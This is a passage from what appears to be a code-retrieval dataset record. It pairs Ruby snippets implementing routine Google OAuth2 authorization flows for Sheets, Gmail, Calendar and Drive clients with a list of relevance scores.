@character.gender\n session_worksheet[4,7] = \"House:\"\n session_worksheet[4,8] = @character.house.name\n session_worksheet[6,1] = \"Agility:\"\n session_worksheet[6,2] = @character.agility\n session_worksheet[7,1] = \"Animal Handling:\"\n session_worksheet[7,2] = @character.animal_handling\n session_worksheet[8,1] = \"Athletics:\"\n session_worksheet[8,2] = @character.athletics\n session_worksheet[9,1] = \"Awareness:\"\n session_worksheet[9,2] = @character.awareness\n session_worksheet[10,1] = \"Cunning:\"\n session_worksheet[10,2] = @character.cunning\n session_worksheet[11,1] = \"Deception:\"\n session_worksheet[11,2] = @character.deception\n session_worksheet[12,1] = \"Endurance:\"\n session_worksheet[12,2] = @character.endurance\n session_worksheet[13,1] = \"Fighting:\"\n session_worksheet[13,2] = @character.fighting\n session_worksheet[14,1] = \"Healing:\"\n session_worksheet[14,2] = @character.healing\n session_worksheet[15,1] = \"Language:\"\n session_worksheet[15,2] = @character.language\n session_worksheet[6,4] = \"Knowledge:\"\n session_worksheet[6,5] = @character.knowledge\n session_worksheet[7,4] = \"Marksmanship:\"\n session_worksheet[7,5] = @character.marksmanship\n session_worksheet[8,4] = \"Persuasion:\"\n session_worksheet[8,5] = @character.persuasion\n session_worksheet[9,4] = \"Status:\"\n session_worksheet[9,5] = @character.status\n session_worksheet[10,4] = \"Stealth:\"\n session_worksheet[10,5] = @character.stealth\n session_worksheet[11,4] = \"Survival:\"\n session_worksheet[11,5] = @character.survival\n session_worksheet[12,4] = \"Thievery:\"\n session_worksheet[12,5] = @character.thievery\n session_worksheet[13,4] = \"Warfare:\"\n session_worksheet[13,5] = @character.warfare\n session_worksheet[14,4] = \"Will:\"\n session_worksheet[14,5] = @character.will\n\n if session_worksheet.save\n redirect_to(\"/characters\")\n else\n puts \"error error error\"\n end\n\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file(ENV['CREDENTIALS_PATH'])\n token_store = Google::Auth::Stores::FileTokenStore.new(file: ENV['TOKEN_PATH'])\n authorizer = Google::Auth::UserAuthorizer.new(client_id, ENV['SCOPE'], token_store)\n user_id = 'default'\n authorizer.get_credentials(user_id)\n end", "def authorize(credentials_path, secrets_path, scope)\n\n FileUtils.mkdir_p(File.dirname(credentials_path))\n\n file_store = Google::APIClient::FileStore.new(credentials_path)\n storage = Google::APIClient::Storage.new(file_store)\n auth = storage.authorize\n\n if auth.nil? || (auth.expired? && auth.refresh_token.nil?)\n app_info = Google::APIClient::ClientSecrets.load(secrets_path)\n flow = Google::APIClient::InstalledAppFlow.new({\n :client_id => app_info.client_id,\n :client_secret => app_info.client_secret,\n :scope => scope})\n auth = flow.authorize(storage)\n puts \"Credentials saved to #{credentials_path}\" unless auth.nil?\n end\n auth\n end", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n\n # changed SCOPE to SCOPES to pass in multiple OAUTH scopes\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id, SCOPES, token_store)\n\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(\n base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\n end", "def build_client(current_user, perform_auth)\n @client = Google::APIClient.new(:application_name => 'FleetSuite')\n @client.authorization.client_id = APP_CONFIG['oauth']['google']['client_id']\n @client.authorization.client_secret = APP_CONFIG['oauth']['google']['client_secret']\n @client.authorization.redirect_uri = APP_CONFIG['oauth']['google']['redirect_url']\n @client.authorization.scope = ['https://www.googleapis.com/auth/drive.readonly.metadata']\n\n # Authorize and add\n self.authorize!(current_user) if perform_auth\n end", "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = ask \"code?: \"\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\n end", "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\n end", "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\n end", "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = 'default'\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\n end", "def authorize\n authorizer = Google::Auth::ServiceAccountCredentials.make_creds(\n json_key_io: File.open(CREDENTIALS_PATH),\n scope: SCOPE)\n\n authorizer\n end", "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\n end", "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\n end", "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPES, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\n end", "def authorize\n client_id = Google::Auth::ClientId.from_file(\"credentials.json\")\n token_store = Google::Auth::Stores::FileTokenStore.new(file: \"token.yaml\")\n authorizer = Google::Auth::UserAuthorizer.new(client_id, Google::Apis::GmailV1::AUTH_GMAIL_READONLY, token_store)\n user_id = \"default\"\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: \"urn:ietf:wg:oauth:2.0:oob\")\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = $stdin.gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: \"urn:ietf:wg:oauth:2.0:oob\"\n )\n end\n credentials\nend", "def authorize\n ##FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n if !File.exist?(CLIENT_SECRETS_PATH)\n puts \"Error: OAuth2認証用のsecretファイルが見つかりませんでした\"\n puts \"以下のURLからこのプロジェクト用のsecretを作成し、'client_secret.json'というファイル名でこのディレクトリに保存してください。\"\n puts\n puts \"https://console.developers.google.com/start/api?id=sheets.googleapis.com\"\n exit 1\n end\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts \"以下のURLにWebブラウザでアクセスし、認証を行った後、表示されるコードを入力してください:\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI,\n )\n end\n credentials\n end", "def init_and_auth_calendar(calendar_id, store)\n @client = ::Google::APIClient.new(\n :application_name => :ical2gcal,\n :application_version => Ical2gcal::VERSION,\n :user_agent => \"ical2gcal-#{Ical2gcal::VERSION} (#{RUBY_PLATFORM})\"\n )\n\n credential = ::Google::APIClient::FileStorage.new(store)\n secrets = ::Google::APIClient::ClientSecrets.load(File.dirname(store))\n\n if credential.authorization.nil?\n flow = ::Google::APIClient::InstalledAppFlow.new(\n :client_id => secrets.client_id,\n :client_secret => secrets.client_secret,\n :scope => 'https://www.googleapis.com/auth/calendar')\n client.authorization = flow.authorize\n credential.write_credentials(client.authorization)\n else\n client.authorization = credential.authorization\n end\n\n @calendar_id = calendar_id\n @calendar = client.discovered_api('calendar', 'v3')\n end", "def authorize\n\t\tclient_id = Google::Auth::ClientId.new(@config[\"AuthKey\"], @config[\"AuthSecret\"])\n\t\ttoken_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n\t\tauthorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n\t\tuser_id = \"default\"\n\t\tLOGGER.debug \"[GmailDriver#authorize] Authorizing...\"\n\t\tcredentials = authorizer.get_credentials(user_id)\n\t\tif credentials.nil?\n\t\t\turl = authorizer.get_authorization_url(base_url: OOB_URI)\n\t\t\tLOGGER.warn \"Open the following URL in the browser and enter the \" \\\n\t\t\t\t\t \"resulting code after authorization:\\n\" + url\n\t\t\tcode = gets\n\t\t\tcredentials = authorizer.get_and_store_credentials_from_code(\n\t\t\t\tuser_id: user_id, code: code, base_url: OOB_URI\n\t\t\t)\n\t\tend\n\t\tcredentials\n\tend", "def initialize(options)\n if options[:auth]\n @auth = options[:auth]\n @auth_type = options[:auth_type] || :client_login\n else\n request_auth(options[:email],options[:password])\n end\n @cache = GoogleReaderApi::Cache.new(2)\n end", "def authorize\n client_id = Google::Auth::ClientId.from_file(@credentials_path)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: @token_path)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, @scope, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: @oob_uri)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: @oob_uri\n )\n end\n credentials\n end", "def authorize\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n\n credentials = authorizer.get_credentials(user_id)\n\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n\n credentials\n end", "def authenticate\n @discogs = Discogs::Wrapper.new(\"Test OAuth\")\n request_data = @discogs.get_request_token(DISCOGS_API_KEY, DISCOGS_API_SECRET, \"http://127.0.0.1:3000/callback\")\n \n session[:request_token] = request_data[:request_token]\n \n redirect_to request_data[:authorize_url]\n end", "def create_client_from_outhAccount(scope, oob_uri, user_id, oauth_cred_file)\n #oob_uri = 'urn:ietf:wg:oauth:2.0:oob'\n #user_id = '[email protected]'\n client_id = Google::Auth::ClientId.from_file(oauth_cred_file)\n token_store = Google::Auth::Stores::FileTokenStore.new(:file => 'tokens.yaml')\n authorizer = Google::Auth::UserAuthorizer.new(client_id, scope, token_store)\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: oob_uri )\n #Launchy.open(url)\n puts \"Open this URL in Browser and enter the code you got from browser below\"\n puts \"URL: #{url}\"\n print \"enter the code you got from browser here and press Enter: \"\n # code = gets\n code = STDIN.gets.chomp\n credentials = authorizer.get_and_store_credentials_from_code(user_id: user_id, code: code, base_url: oob_uri)\n end\n blogger = Google::Apis::BloggerV3::BloggerService.new\n blogger.authorization = credentials\n return blogger\nend", "def initialize(**params)\n\t\t\tp12file = params[:pkcs12_file]\n\t\t\tdomain = params[:domain]\n\t\t\tservice_account_email = params[:service_account_email]\n\t\t\tact_on_behalf_email = params[:admin_email]\n\t\t\tapplication_name = params[:application_name] || @@default_application_name\n\t\t\tversion = params[:version] || @@default_application_version\n\n\t\t\tkey = Google::APIClient::KeyUtils.load_from_pkcs12(p12file, 'notasecret')\n\t\t\t@client = Google::APIClient.new(:application_name => application_name, :version => version)\n\n\t\t\[email protected] = Signet::OAuth2::Client.new(\n \t\t\t\t:token_credential_uri => @@token_credentialuri,\n \t\t\t\t:audience => @@audience,\n \t\t\t\t:scope => @@scope,\n \t\t\t\t:issuer => service_account_email,\n \t\t\t\t:person => act_on_behalf_email,\n \t\t\t\t:sub => act_on_behalf_email,\n \t\t\t\t:signing_key => key)\n\n\t\t\[email protected]_access_token!\n\n\t\t\t@api = @client.discovered_api(\"admin\", \"directory_v1\")\n\t\tend", "def authorize\n\tclient_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n\ttoken_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n\tauthorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n\tuser_id = 'default'\n\n\tcredentials = authorizer.get_credentials(user_id)\n\treturn credentials unless credentials.nil?\n\n\turl = authorizer.get_authorization_url(base_url: OOB_URI)\n\tputs 'Open the following URL in the browser and enter the ' \\\n\t\t \"resulting code after authorization:\\n#{url}\"\n\tcode = gets\n\n\treturn authorizer.get_and_store_credentials_from_code(\n\t\tbase_url: OOB_URI,\n\t\tuser_id: user_id,\n\t\tcode: code,\n\t)\n\nend", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.\n new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.\n new(client_id, SCOPE, token_store)\n credentials = authorizer.\n get_credentials(CONFIGURATION[\"calendar\"][\"user_id\"])\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \"\\\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: CONFIGURATION[\"calendar\"][\"user_id\"],\n code: code,\n base_url: OOB_URI\n )\n end\n credentials\n end", "def initialize(user, password)\n @user = user\n @password = password\n\n # In the constructor, try to authenticate and get the access_token and\n # client_id\n authenticate\n end", "def authorize\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\n end", "def authenticate\n # initiate authentication w/ gmail\n # create url with url-encoded params to initiate connection with contacts api\n # next - The URL of the page that Google should redirect the user to after authentication.\n # scope - Indicates that the application is requesting a token to access contacts feeds.\n # secure - Indicates whether the client is requesting a secure token.\n # session - Indicates whether the token returned can be exchanged for a multi-use (session) token.\n next_param = authorise_user_contacts_url(@user)\n scope_param = \"https://www.google.com/m8/feeds/\"\n session_param = \"1\"\n root_url = \"https://www.google.com/accounts/AuthSubRequest\"\n query_string = \"?scope=#{scope_param}&session=#{session_param}&next=#{next_param}\"\n redirect_to root_url + query_string\n end", "def authorize_service(service)\n create_client_secret_file\n scopes = ['https://www.googleapis.com/auth/drive']\n File.open('client_secret.json'.to_s, 'r') do |json_io|\n service.authorization = Google::Auth::DefaultCredentials.make_creds(\n scope: scopes,\n json_key_io: json_io\n )\n end\n end", "def authorize(token_path, scope)\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: token_path\n authorizer = Google::Auth::UserAuthorizer.new client_id, scope, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend" ]
[ "0.7469977", "0.7436452", "0.70327795", "0.70249116", "0.69490886", "0.68067527", "0.6798968", "0.67048246", "0.66385305", "0.66273624", "0.65963876", "0.65943515", "0.6570062", "0.65594697", "0.6558439", "0.6558439", "0.6558439", "0.6558439", "0.6558439", "0.6558439", "0.6552217", "0.64775896", "0.64725435", "0.6461888", "0.6443724", "0.64303493", "0.634311", "0.6330933", "0.6327311", "0.6317401", "0.6306148", "0.62931526", "0.62931526", "0.62912214", "0.6287014", "0.6285774", "0.6274258", "0.62736744", "0.62736744", "0.62736744", "0.62736744", "0.62716985", "0.62617975", "0.62524295", "0.62393373", "0.62312835", "0.6227281", "0.6227281", "0.6227281", "0.6227281", "0.6227281", "0.6227281", "0.6227281", "0.6227281", "0.6227281", "0.6227281", "0.6227281", "0.62180746", "0.62137485", "0.62036747", "0.6200641", "0.61976683", "0.61792684", "0.6172291", "0.61697364", "0.615314", "0.6150842", "0.6122173", "0.61210775", "0.6077451", "0.6072698", "0.60622585", "0.60598826", "0.6032962", "0.6031883", "0.6015536", "0.6015536", "0.6014844", "0.6012559", "0.6009555", "0.6007037", "0.6006429", "0.6002982", "0.59893227", "0.5989234", "0.5947074", "0.59189725", "0.5916083", "0.5909833", "0.59067017", "0.5896803", "0.5895624", "0.5882676", "0.58756363", "0.5837595", "0.58337325", "0.58329964", "0.5814846", "0.5795224", "0.5788038" ]
0.74966365
0
Ensure valid credentials, either by restoring from the saved credentials files or intitiating an OAuth2 authorization request via InstalledAppFlow. If authorization is required, the user's default browser will be launched to approve the request.
def authorize(credentials_path, client_secrets_path, scope) FileUtils.mkdir_p(File.dirname(credentials_path)) file_store = Google::APIClient::FileStore.new(credentials_path) storage = Google::APIClient::Storage.new(file_store) auth = storage.authorize check_auth_expiration auth, client_secrets_path, scope auth end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIAL))\n file_store = Google::APIClient::FileStore.new(CREDENTIAL)\n storage = Google::APIClient::Storage.new(file_store)\n auth = storage.authorize\n if auth.nil? || (auth.expired? && auth.refresh_token.nil?)\n app_info = Google::APIClient::ClientSecrets.load(CLIENT_SECRET)\n flow = Google::APIClient::InstalledAppFlow.new({\n :client_id => app_info.client_id,\n :client_secret => app_info.client_secret,\n :scope => SCOPE})\n auth = flow.authorize(storage)\n puts \"Credentials saved to #{CREDENTIAL}\" unless auth.nil?\n end\n auth\n end", "def authorize\n FileUtils.mkdir_p(File.dirname(@CREDENTIALS_PATH))\n\n file_store = Google::APIClient::FileStore.new(@CREDENTIALS_PATH)\n storage = Google::APIClient::Storage.new(file_store)\n auth = storage.authorize\n\n if auth.nil? || (auth.expired? && auth.refresh_token.nil?)\n app_info = Google::APIClient::ClientSecrets.load(@CLIENT_SECRETS_PATH)\n flow = Google::APIClient::InstalledAppFlow.new({\n :client_id => app_info.client_id,\n :client_secret => app_info.client_secret,\n :scope => @SCOPE})\n auth = flow.authorize(storage)\n puts \"Credentials saved to #{@CREDENTIALS_PATH}\" unless auth.nil?\n end\n auth\n end", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n file_store = Google::APIClient::FileStore.new(CREDENTIALS_PATH)\n storage = Google::APIClient::Storage.new(file_store)\n auth = storage.authorize\n\n if auth.nil? || (auth.expired? && auth.refresh_token.nil?)\n app_info = Google::APIClient::ClientSecrets.load(CLIENT_SECRETS_PATH)\n flow = Google::APIClient::InstalledAppFlow.new({\n client_id: app_info.client_id,\n client_secret: app_info.client_secret,\n scope: SCOPE})\n auth = flow.authorize(storage)\n puts \"Credentials saved to #{CREDENTIALS_PATH}\" unless auth.nil?\n end\n auth\nend", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n file_store = Google::APIClient::FileStore.new(CREDENTIALS_PATH)\n storage = Google::APIClient::Storage.new(file_store)\n auth = storage.authorize\n\n if auth.nil? || (auth.expired? && auth.refresh_token.nil?)\n app_info = Google::APIClient::ClientSecrets.load(CLIENT_SECRETS_PATH)\n flow = Google::APIClient::InstalledAppFlow.new({\n :client_id => app_info.client_id,\n :client_secret => app_info.client_secret,\n :scope => SCOPE})\n auth = flow.authorize(storage)\n puts \"Credentials saved to #{CREDENTIALS_PATH}\" unless auth.nil?\n end\n auth\nend", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n file_store = Google::APIClient::FileStore.new(CREDENTIALS_PATH)\n storage = Google::APIClient::Storage.new(file_store)\n auth = storage.authorize\n\n if auth.nil? || (auth.expired? && auth.refresh_token.nil?)\n app_info = Google::APIClient::ClientSecrets.load(CLIENT_SECRETS_PATH)\n flow = Google::APIClient::InstalledAppFlow.new({\n :client_id => app_info.client_id,\n :client_secret => app_info.client_secret,\n :scope => SCOPE})\n auth = flow.authorize(storage)\n end\n auth\nend", "def authorize\r\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\r\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\r\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\r\n user_id = \"default\"\r\n credentials = authorizer.get_credentials user_id\r\n\r\n # launch default browser to approve request of initial OAuth2 authorization\r\n if credentials.nil?\r\n url = authorizer.get_authorization_url base_url: OOB_URI\r\n puts \"Open the following URL in the browser and enter the resulting code after authorization:\\n\" + url\r\n code = gets\r\n credentials = authorizer.get_and_store_credentials_from_code(user_id: user_id, code: code, base_url: OOB_URI)\r\n end\r\n\r\n credentials\r\nend", "def authorize(credentials_path, secrets_path, scope)\n\n FileUtils.mkdir_p(File.dirname(credentials_path))\n\n file_store = Google::APIClient::FileStore.new(credentials_path)\n storage = Google::APIClient::Storage.new(file_store)\n auth = storage.authorize\n\n if auth.nil? || (auth.expired? && auth.refresh_token.nil?)\n app_info = Google::APIClient::ClientSecrets.load(secrets_path)\n flow = Google::APIClient::InstalledAppFlow.new({\n :client_id => app_info.client_id,\n :client_secret => app_info.client_secret,\n :scope => scope})\n auth = flow.authorize(storage)\n puts \"Credentials saved to #{credentials_path}\" unless auth.nil?\n end\n auth\n end", "def authorize interactive\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil? and interactive\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n code = ask(\"Open the following URL in the browser and enter the resulting code after authorization\\n\" + url)\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n credentials = authorizer.get_credentials('default')\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n\n server = WEBrick::HTTPServer.new(Port: 3000)\n server.mount_proc('/oauth2callback') do |req, res|\n code = req.query['code']\n credentials = authorizer.get_and_store_credentials_from_code(user_id: 'default', code: code, base_url: OOB_URI)\n res.body = 'Authorization successful. You can close this window and return to the terminal.'\n server.shutdown\n end\n\n warn('Open the following URL in your browser and authorize the app:')\n warn(url)\n server.start\n end\n credentials\nend", "def authorize(interactive)\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store, '')\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil? && interactive\n url = authorizer.get_authorization_url(base_url: BASE_URI, scope: SCOPE)\n code = ask(\"Open the following URL in the browser and enter the resulting code after authorization\\n#{url}\")\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: BASE_URI\n )\n end\n credentials\nend", "def authorize\n ##FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n if !File.exist?(CLIENT_SECRETS_PATH)\n puts \"Error: OAuth2認証用のsecretファイルが見つかりませんでした\"\n puts \"以下のURLからこのプロジェクト用のsecretを作成し、'client_secret.json'というファイル名でこのディレクトリに保存してください。\"\n puts\n puts \"https://console.developers.google.com/start/api?id=sheets.googleapis.com\"\n exit 1\n end\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts \"以下のURLにWebブラウザでアクセスし、認証を行った後、表示されるコードを入力してください:\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n \n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(\n base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\n end", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n\n # changed SCOPE to SCOPES to pass in multiple OAUTH scopes\n authorizer = 